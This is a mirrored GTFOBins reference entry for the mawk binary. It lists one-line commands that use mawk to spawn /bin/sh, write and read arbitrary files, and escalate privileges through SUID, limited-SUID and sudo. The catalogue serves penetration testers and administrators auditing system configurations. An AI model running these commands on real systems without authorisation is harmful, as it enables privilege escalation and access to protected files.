1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/mawk.md
2021-01-18 09:48:12 +02:00

22 lines
471 B
Markdown

---
functions:
shell:
- code: mawk 'BEGIN {system("/bin/sh")}'
file-write:
- code: |
LFILE=file_to_write
mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
file-read:
- code: |
LFILE=file_to_read
mawk '//' "$LFILE"
suid:
- code: |
LFILE=file_to_read
./mawk '//' "$LFILE"
sudo:
- code: sudo mawk 'BEGIN {system("/bin/sh")}'
limited-suid:
- code: ./mawk 'BEGIN {system("/bin/sh")}'
---